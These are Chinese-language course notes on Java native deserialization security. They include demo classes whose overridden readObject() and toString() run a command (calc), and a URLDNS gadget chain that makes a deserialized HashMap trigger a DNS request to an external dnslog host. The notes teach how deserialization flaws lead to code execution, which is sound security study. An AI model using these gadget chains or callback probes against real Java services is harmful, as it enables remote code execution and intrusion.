第35天:安全开发-JavaEE应用原生反序列化重写方法链条分析触发类类加载
时间轴:
序列化与反序列化图解:
演示案例:
Java-原生使用-序列化&反序列化
Java-安全问题-重写方法&触发方法
Java-安全问题-可控其他类重写方法
Java-原生使用-序列化&反序列化
1.为什么进行序列化和反序列化?
个人理解:
因为如果转载使用ctrl+a和ctrl+v的话,那么会导致空格复制不过去什么的
使用序列化可以像是打包好了以后发过去。(源码打包好发过去为序列化,将源码的包解开发过来是反序列化)
打包->封装->文件(序列化)
文件->解包(反序列化)
案例演示:
1.创建SeriaTestDemo。
删除老几样(34天有说)
UserDemo:
package com.example.seriatestdemo;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
public class UserDemo implements Serializable {
public String name="xiaodi";
public String gender="man";
public Integer age=30;
public UserDemo(String name,String gender,Integer age){
this.name=name;
this.gender=gender;
this.age = age;
System.out.println(name);
System.out.println(gender);
}
public String toString() {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
return "User{" +
"name='" + name + '\'' +
", gender='" + gender + '\'' +
", age=" + age +
'}';
}
// private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
// //指向正确readObject
// ois.defaultReadObject();
// Runtime.getRuntime().exec("calc");
// }
}
其中toString()为UserDemo的内置
序列化操作文件(SerializableDemo):
package com.example.seriatestdemo;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
public class SerializableDemo {
public static void main(String[] args) throws IOException {
//创建一个对象 引用UserDemo
UserDemo u = new UserDemo("xdsec","gay1",30);
//调用方法进行序列化
SerializableTest(u);
//ser.txt 就是对象u 序列化的字节流数据
}
public static void SerializableTest(Object obj) throws IOException {
//FileOutputStream() 输出文件
//将对象obj序列化后输出到文件ser.txt
ObjectOutputStream oos= new ObjectOutputStream(new FileOutputStream("ser.txt"));
oos.writeObject(obj);
}
}
运行逻辑:
下面写好了一个SerializableTest(obj),他的obj为u,u定义在了上面,UserDemo()写在了第一个文件中
以下为输出的字节流
反序列化操作文件(UnserializableDemo):
package com.example.seriatestdemo;
import java.io.*;
public class UnserializableDemo {
public static void main(String[] args) throws IOException, ClassNotFoundException {
//调用下面的方法 传输ser.txt 解析还原反序列化
Object obj =UnserializableTest("ser.txt");
//对obj对象进行输出 默认调用原始对象的toString方法
System.out.println(obj);
}
public static Object UnserializableTest(String Filename) throws IOException, ClassNotFoundException {
//读取Filename文件进行反序列化还原
ObjectInputStream ois= new ObjectInputStream(new FileInputStream(Filename));
Object o = ois.readObject();
return o;
}
}
运行结果:
转换前的数据
转换后的数据
安全问题:
(1) 入口类的 readObject 直接调用危险方法
将readObject()直接调用导致冲突
UserDemo中:
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
//指向正确readObject
ois.defaultReadObject();
Runtime.getRuntime().exec("calc");
}
与此处相互冲突:
运行时会报错:
理解:
ObjectInputStream ois= new ObjectInputStream(new FileInputStream(Filename));
Object o = ois.readObject();
return o;
readObiect()——>jdk 1.8
反序列化
ObjectInputStream ois= new ObjectInputStream(new FileInputStream(Filename));
Object o = ois.readObject();
return o;
重写readObject方法,执行计算器
相当于执行序列化对象里面的readObject方法 而不是本身
可以使用断点来调试:
选择第二个:
点击步入:
跑入到Runtime.java
应该跑入到这里:
可以使用010editor进行分析ser.txt:
指向正向的readObject(),若不指向下面没数据为空
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
//指向正确readObject
ois.defaultReadObject();
Runtime.getRuntime().exec("calc");
(2) 入口参数中包含可控类,该类有危险方法,readObject 时调用
原理:
如果换一个类 里面自带有readObject 会不会触发呢?
//正常代码中 创建对象HashMap
//用到原生态readObject方法去反序列化数据
//readObject 在ObjectInputSteam 本来在这里
//HashMap也有readObject方法
//反序列化readObject方法调用 HashMap里面的readObject
//执行链:
//序列化对象hash 来源于自带类HashMap
// * Gadget Chain:
// * HashMap.readObject()
// * HashMap.putVal()
// * HashMap.hash()
// * URL.hashCode()
//hashCode 执行结果 触发访问DNS请求 如果这里是执行命令的话 就是RCE漏洞
UrLDns:
package com.example.seriatestdemo;
import java.io.*;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;
public class UrLDns implements Serializable {
public static void main(String[] args) throws IOException, ClassNotFoundException {
//正常代码中 创建对象HashMap
//用到原生态readObject方法去反序列化数据
//readObject 在ObjectInputSteam 本来在这里
//HashMap也有readObject方法
//反序列化readObject方法调用 HashMap里面的readObject
//执行链:
//序列化对象hash 来源于自带类HashMap
// * Gadget Chain:
// * HashMap.readObject()
// * HashMap.putVal()
// * HashMap.hash()
// * URL.hashCode()
//hashCode 执行结果 触发访问DNS请求 如果这里是执行命令的话 就是RCE漏洞
HashMap<URL,Integer> hash = new HashMap<>();
URL u=new URL("http://dmo1e2.dnslog.cn");
hash.put(u,1);
SerializableTest(hash);
UnserializableTest("dns.txt");
}
public static void SerializableTest(Object obj) throws IOException {
//FileOutputStream() 输出文件
//将对象obj序列化后输出到文件ser.txt
ObjectOutputStream oos= new ObjectOutputStream(new FileOutputStream("dns.txt"));
oos.writeObject(obj);
}
public static Object UnserializableTest(String Filename) throws IOException, ClassNotFoundException {
//读取Filename文件进行反序列化还原
ObjectInputStream ois= new ObjectInputStream(new FileInputStream(Filename));
Object o = ois.readObject();
return o;
}
}
使用正常方法会产生dns.txt
可以使用010editor进行查看:
正常情况下访问dns:
http://dnslog.cn/
能访问上的原因
(https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java
)
(3) 入口类参数中包含可控类,该类又调用其他有危险方法的类,readObject 时调用
(4) 构造函数/静态代码块等类加载时隐式执行
UnserializableDemo:
public class UnserializableDemo {
public static void main(String[] args) throws IOException, ClassNotFoundException {
//调用下面的方法 传输ser.txt 解析还原反序列化
Object obj =UnserializableTest("ser.txt");
//对obj对象进行输出 默认调用原始对象的toString方法
System.out.println(obj);
}
UserDemo:
@Override
public String toString() {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
return "UserDemo{" +
"name='" + name + '\'' +
", gender='" + gender + '\'' +
", age=" + age +
'}';
}
因为有toString()进行string方法的改变,在unserializableDemo中System.out.println(obj);//对obj对象进行输出 默认调用原始对象的toString方法
反序列化总结: